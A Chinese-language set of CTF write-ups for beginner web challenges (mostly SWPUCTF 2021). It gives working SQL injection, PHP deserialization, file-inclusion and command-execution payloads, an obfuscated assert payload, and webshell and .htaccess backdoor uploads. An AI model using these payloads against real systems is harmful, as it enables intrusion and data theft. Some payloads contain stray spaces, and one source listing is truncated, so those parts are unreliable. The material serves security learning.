目录
0x01 [SWPUCTF 2021 新生赛]ez_unserialize
0x02 [SWPUCTF 2021 新生赛]gift_F12
0x03 [SWPUCTF 2021 新生赛]jicao11
0x04 [SWPUCTF 2021 新生赛]easy_md5
0x05 [SWPUCTF 2021 新生赛]easy_sql
0x06 [SWPUCTF 2021 新生赛]include
0x07 [SWPUCTF 2021 新生赛]easyrce
0x08 [NCTF 2018]签到题
0x09 [SWPUCTF 2021 新生赛]caidao
0x0A [SWPUCTF 2021 新生赛]Do_you_know_http
0x0B [SWPUCTF 2021 新生赛]babyrce
0x0C [SWPUCTF 2021 新生赛]easyupload1.0
0x0D [SWPUCTF 2021 新生赛]easyupload2.0
0x0E [SWPUCTF 2021 新生赛]easyupload3.0
0x0F [SWPUCTF 2021 新生赛]no_wakeup
编辑
0x10 [SWPUCTF 2021 新生赛]PseudoProtocols
编辑
0x11 [NISACTF 2022]easyssrf
0x12 [ZJCTF 2019]NiZhuanSiWei
0x13 [BJDCTF 2020]easy_md5
0x14 [SWPUCTF 2021 新生赛]hardrce_3
0x15 [SWPUCTF 2021 新生赛]error
0x16 [SWPUCTF 2021 新生赛]hardrce
0x17 [SWPUCTF 2021 新生赛]pop
0x18 [SWPUCTF 2021 新生赛]sql
0x19 [SWPUCTF 2021 新生赛]finalrce
0x1A [SWPUCTF 2021 新生赛]babyunser
首先进入题目发现没有提示,看到源码中的提示是:User-agent和一个Disallowed。想起一个robots协议,直接打入,找到了php源码位置:
然后我们用这个网址找到了php源码:
找到php源码之后,我们开始代码审计。发现这个反序列化的魔术方法只有__construct和__destruct,所以我们只需要给wllm这个类中的变量赋值即可。
我们在网址后面打入?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
将p进行反序列化赋值,并将admin和passwd赋值成最后需要的值即可:
最后得出flag。
PS:本题做的途中发现:__construct()魔术方法是在类被调用时触发的,所以我们更改admin和passwd两个变量的值,是可以覆盖该魔术方法的改变的。所以出发__des*函数时,才可以通过if语句达到输出flag.php的效果
本题绚烂得很,并且让我们等到2021.10.23日。
那么本题的思路就是穿越时空
那么我们直接F12查看源码,然后找到flag结束。
得到了flag。
直接源码,代码审计开始:
我们发现需要一个get和一个post,其中:
json_decode ( string $json [, bool $assoc ] ),意思是可以输入一串json字符串
其中,如果assoc的值为true则输出array,反之输出object。
然后直接用Hackbar开始打GET和POST。POST的id没有过滤,我们直接
id=wllmNB
json需要一个x=wllm。json像是python里的字典,我们用字典构造json字符串:
?json={"x":"wllm"}
即可。得出flag:
本题看到题目想到md5编码,然后直接看源码:
源码发现需要两个值不同,但是md5加密后的值相同的两个数据。直接想到:
md5在前两位为0e时,不论后面的值是多少,哈希值为0。
上网搜索开头为0e的md5编码即可。常用:
240610708, aabg7XSs, aabC9RqS等
直接得出flag:
进题,需要一个输入:
F12查看源码,发现参数是wllm:
所以给他一个wllm
/?wllm=1
之后发现他给出了login id和密码,这与sqlilabs基本相同。所以我们查看有没有闭合,发现输入单引号后出现了报错。所以认为是单引号闭合,最后加上--+进行注释。
然后用order by函数来检查他总共的列数量:
/?wllm=1‘ order by 3--+
此时输出是正常的。
/?wllm=1‘ order by 4--+
此时发现4列是不存在的,(跟sqlilabs第一关一模一样,感觉后续操作都记得)。
然后查看第几个参数是可以回显的,我们用union select,
union select:只有在此函数前面的值是False,后面才可以执行。
发现也是2、3回显。那么我们就直接CV获取表库名称的代码就行:
(select group_concat(schema_name) from information_schema.schemata) 获取数据库名称
发现数据库的名称有些不同,我们接着查询:
(select group_concat(table_name) from information_schema.tables where table_schema='test_db')获取表名称
走过users的路径,然后发现就是一开始的xxx和yyy。
所以我们走一次test_tb的路径:
(select group_concat(column_name) from information_schema.columns where table_name='test_tb')获取列名中的用户名称
发现了这里面有个flag,我们接着访问flag的内容:
(select group_concat(flag) from test_db.test_tb) 获取用户名称中的相应信息
就获取了flag
让我们传入一个file,我们直接试试get能不能传入:
然后代码审计,发现了include_once的函数。当重复上传文件时也不会报错,所以我们用file建立php伪协议,payload如下:
php://filter/convert.base64-encode/resource=flag.php
然后读出的代码进行base64解码即是最终答案:
得到了flag。
进题是很简单的rce,一般可以直接system('cat /f*')了。但是过程应该是如下:
system('ls /');
查看根目录下flag的位置:
说明flag在flllllaaaaaaggggggg里面,我们CV过来,然后用cat直接读取文件就可以了:
进题是百度, 然后我想着看源码,发现找不到东西。然后我想着把上面网页后缀/secret.php改成/index.php,但是发现他会自动跳转回来。所以我们用burp抓包试一下,发现真的在里面:
然后就得到了flag。
看这意思,题目想让我们用中国菜刀读文件,但是没有,直接进题:
发现题目这个很明显的一句话木马,我们试着传参:
wllm=system('ls /');
应该已经找到flag了,我们进行读取:
wllm=system('cat /f*');
拿到flag了。
http题目,没什么好说的,进题跟着步骤走就行:
但是本题有一个不同点,就是它的burp抓包过后,只能在浏览器才能访问下一个地址,但是burp里面能看到他跳转的地址:
右侧的包中有Location就是它跳转的地址,本题总共就两步,payload如下:
User-Agent: WLLM
X-Forwarded-For: 127.0.0.1
然后就得到了flag
rce绕过,跟着走,用cookie传参admin=1就可以进入下一步:
.然后给了我们一个新的php网址,我们直接进去访问:
.然后就是新的rce,进行代码审计:
发现了就是正则绕过空格,但是有一个新函数:shell_exec(),效果是:
那么我们的payload就是:
?url='ls'
但是发现当前目录下没有有用的东西,我们跳转到根目录去找flag。而空格绕过可以使用:${IFS}
然后就找到了flag的位置,用cat获取flag就可以了:
payload:
?url=cat${IFS}/f*
进题,看到上传文件,想到上传一句话木马:
payload如下:
然后进入1.php的文件库就行,我们用post传参传入:
J=system('ls /');
但是没找到flag,我们进mysql文件看看:
发现两个mysql文件都只给了网址,发现根本进入不了,并没有什么作用,只能去看看wp了:
网上说flag在环境变量中,但是他们的方法很麻烦,所以我们直接输出环境变量就可以了,payload:
system('env');
确实是找到了flag,说明flag还有可能藏在环境变量里!
本题与该题库的easyupload1.0相同,具体可以看看本文的:
不过有一点不同,就是该题过滤了php的文件后缀,所以我尝试了双写绕过,然后phps、php3,后面用了phtml终于绕过了。然后后续也是一样的,flag藏在环境变量之中。所以我们接着env读出来就好了。
进题,又是一个文件上传。正常上传发现不行了,虽然没有过滤,但是不能上传php后缀了。所以我想到用.user.ini来打个后门进去。但是好像不行(没有认真尝试),然后就去看了wp,发现是另一个后门.htaccess,所以我就直接用了这个后门。
其他步骤都正常的,就是上传图片前先上传一个后门:
filename=".htaccess"
SetHandler application/x-httpd-php
然后正常上传图片。然后进入图片网页(我上传a.jpg),变量是J
我们直接蚁剑连接吧,然后找到flag就可以了
这就可以连进去找了,然后就找到了flag。
有了源码,进行代码审计:
发现我们只要给admin和passwd传参就可以了,但是不能触发魔术方法:
__wakeup()
只要让他的属性数量值大于他的需要的实际数量即可,payload:
?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
虽然打的是3,但是实际传参只有2个。所以我们只要让这个数字大于实际数字,就可以绕过__wakeup()魔术方法。
进题发现是php题,并且payload有一部分了,说明需要读取hint.php文件,我们直接用php伪协议作为payload进入看看:
拿这个去base64在线解码,然后我们发现了他让我们去/test2222222222222.php这个目录,我们前往查看,发现有源码,进行代码审计:
中间有一段需要读取a文件来让a的值等于"I want flag"。其中file_get_contents是读取文件中的信息,但是我们没有文件,而由于题目是php题目,我们用php://input来读取变量即可:
然后用post传参,然后就得到了flag。
进题,发现需要curl一个网站,我看了wp,发现可以用file协议的
file:///flag
file:///fl4g
直接访问这个网址:
开始代码审计:
发现他需要一个file文件,但是并没有回显的功能,所以我们需要file协议或者php协议,但是file不能被读取,所以我们使用php协议中的读取:
php://filter/read=convert.base64-encode/resource=/flag
得到了base64编码,解码就是flag了。
又是给了源码的反序列化题目,我们代码审计一下,发现需要password为序列化命令,text是一个php://input的数据,file应该给一个useless.php,payload:
?text=php://input
此时用post方法给一个无参数的:welcome to the zjctf
下一步是file,用file给上useless.php。但是发现并不能进行下去。所以我们就上网找了wp,发现useless.php中的源码也很重要,所以我们file先让他读取出源码:
&file=php://filter/convert.base64-encode/resource=useless.php
用base64解码后获得源码,同时我们直接建立pop链就可以了:
pop链是要读取flag.php,我们直接将得到的序列化代码赋值给password就可以了:
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
所以最终的payload:
然后就得到了flag。
看见标签有sql注入,尝试了初级sql注入,发现没用,我只能去看wp了:
wp说用burp模拟发包可以看到hint:
hint上写着:
select * from 'admin' where password=md5($pass,true)
这句应该是他后台的sql语句,我们只要输入pass就可以了,而pass的值要用md5加密。所以我们上网找了这个语句,发现可以用ffifdyop:
ffifdyop:该字符串md5加密后若md5()的参数为True时会返回 'or’6
?password=ffifdyop
然后他会自动跳转到下一个界面,此界面F12可以看到源码:
源码中有个location,我们直接跳转过去就行:
这里我以为是post传参两个md5值相同,但是原来值不同的数就行了,但是后来发现怎么样都没办法。又去看了wp,发现是数组绕过,所以我们payload:
得到了flag。
本题进题给了源码,进行代码审计:
这里要绕过字母和数字,在网上找了好久的编码,最后找到一个可以编码字母的urlencode编码。然后我想着直接用system('ls /')看看。但是system会被自动转码然后被上面的blacklist过滤。所以我们就去看了wp:
发现要用php自增,只能去网上接着看:
发现这些代码的意思:
这是固定格式构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();
使用时需要url编码.
$_=''.[];
$__=$_[$___];
$_=$__;
$___=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___.=$_;
$___.=$_;
$_=$__;
$_++;$_++;$_++;$_++;
$___.=$_;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___.=$_;
$_++;$_++;
$___.=$_;
$____='_';
$_=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____.=$_;
$_=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____.=$_;
$_=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____.=$_;$_++;$____.=$_;
$_=$$____;
$___($_[_]);
转换成url码的形式:
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b'!'%3d%3d'%40'%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d'_'%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b
这些代码打上去之后,再post传参_就行,payload:
进入后发现许多函数被禁用了,所以只能用file_put_contents()函数。所以payload:
_=file_put_contents("1.php","");
传入一句话木马,然后就蚁剑就可以了。
本题是报错注入,我们直接payload就行:
但是发现在网络上并不像在网址栏一样,最后的--+注释里的+号,需要换成空格。(在网址栏会自动转化的)。或者我们直接替换成#号就可以了,然后就可以直接报错进库了:
1' union select extractvalue(1,concat('~',(select concat(flag) from test_db.test_tb limit 0,1),'~'))#
发现只有一半,所以用limit改参数,group去掉。发现出不了答案,我们换用updatexml就行:
-1' and updatexml(1,concat('~',substr((select flag from test_tb), 31 , 60)),3)#
进题源码:
然后发现不好绕过,我们就去网上看了wp,wp说要取反url编码绕过。我们拿到了网上的脚本,进行尝试:
其中ls的码为:~%93%8C
所以payload:
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);
读出了index.php,所以我们去根目录找flag:
flag找到了,我们直接cat /f*就可以了,最终payload:
?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);
反序列化题,开头给了源码,我们代码审计构建pop链:
构造pop链的时候发现了一个很神奇的东西:
这里有不可显示的字符。我们上网看了wp,发现这是privacy,私有属性和protected,保护属性的特殊标志。
所以去看了wp的pop链构造,发现这个构造有点麻烦:
首先找一下入口,入口是有__destruct()的w22m。所以我们开始构造pop链:
构造完链子,wp上说 要用url编码。这样可以直接将不可见符号囊括在内,payload如下:
?w00m=O%3A4%3A"w22m"%3A1%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A%7Bs%3A11%3A"%00w44m%00admin"%3Bs%3A3%3A"aaa"%3Bs%3A9%3A"%00%2A%00passwd"%3Bs%3A6%3A"123456"%3B%7Ds%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B%7D%7D
我们只需要修改其中aaa和123456的参数以及前面s:3和s:6这两个参数就可以了:
payload:
?w00m=O%3A4%3A"w22m"%3A1%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A%7Bs%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00%2A%00passwd"%3Bs%3A5%3A"08067"%3B%7Ds%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B%7D%7D
然后就得到了flag。
需要我们输入,但是没有参数,我们发现网址标签就是参数,也可去源码找到。
然后尝试了一下,发现操作都被ban了,看了一下wp,发现是空格被ban了。我们就用/**/来代替空格进行注入。然后发现~1'#的操作也没用,只能把#转换成url码%23才行。之后我们就order by来检测列数量:
发现是三列,我们开始注入,发现和sqlilab差不多,直接联合注入,只是空格要改,回显位置还在第二和第三个位置,payload:
?wllm=-1%27/**/union/**/select/**/1,(select/**/group_concat(schema_name)/**/from/**/information_schema.schemata/**/limit/**/4,1),3%23
?wllm=-1'union/**/select/**/1,2,database()%23
?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/informa tion_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/inform ation_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag%23
这四句payload之后,得到了flag的前半部分。想用刚学到的substr,但是发现被过滤了。我们只能再去看wp,wp说只能用mid截取两次。我们就直接CV试一下。
发现分部分都读出来了,所以我们payload改掉就可以了:
?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/tes t_db.LTLT_flag%23
其中参数1改三次就可以了,得到了flag。
进题给了源码的rce题目:
发现这是无回显rce,我们去网上搜索了一下,发现要让exec()函数回显,我们需要一个print函数,但是尝试后发现做不到,我们去看看wp。
发现wp说可以用tee命令:
Tee是Linux命令,用于显示程序的输出并将其复制到一个文件中。
然后就构造payload:
?url=l\s /|tee 1.txt
然后我们去1.txt找一下有没有回显:
发现有回显,那就直接去找flllllaaaaaaggggggg就行了。
接下来的payload:
?url=ca\t /flllll\aaaaaaggggggg|tee 1.txt
然后再去1.txt访问就得到了flag。
本题进题是有两个按钮,上传文件和查找文件。上传文件我尝试了一句话木马,或者开后门,发现都没有什么用处,查找文件更是一头雾水,我们去看一看wp。
然后就发现可以用查找文件来查看upload.php、read.php和class.php,并在其中发现了源码。将源码拿来解析并构造pop链。但是我构造不出来,所以又去看了wp。
name='aa'; } public function __destruct(){ $this->name=strtolower($this->name); } } class ff{ private $content; public $func; public function __construct(){ $this->content="\"; } public function __get($key){ $this->$key->{$this->func}($_POST['cmd']); } } class zz{ public $filename; public $content='surprise'; public function __construct($filename){ $this->filename=$filename; } public function filter(){ if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){ die('这不合理'); } } public function write($var){ $filename=$this->filename; $lt=$this->filename->$var; //此功能废弃,不想写了 } public function getFile(){ $this->filter(); $contents=file_get_contents($this->filename); if(!empty($contents)){ return $contents; }else{ die("404 not found"); } } public function __toString(){ $this->{$_POST['method']}($_POST['var']); return $this->content; } } class xx{ public $name; public $arg; public function __construct(){ $this->name='eval'; $this->arg='phpinfo();'; } public function __call($name,$arg){ $name($arg[0]); } }
这里是题目的源码。我们需要构造pop链的同时,用phar反序列化,因为他将正常的反序列化给过滤了。所以我们只要在最后构造pop链,并用phar反序列化出压缩文件,然后上传到upload.php再进行post传参就可以了。但是不知道什么原因,用了好多人的wp的方法都复现不出来。方法如下:
$a=new aa(); $phar=new Phar("py.phar"); $phar->startBuffering(); $phar->setStub("__HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("a.txt","pysnow"); $phar->stopBuffering();
只要再在read.php中用POST传参:
file=phar://upload/186038cf4fb14b09766a8c3a8dc5a671.txt&method=write&var=content&cmd=cat /flag
就可以了。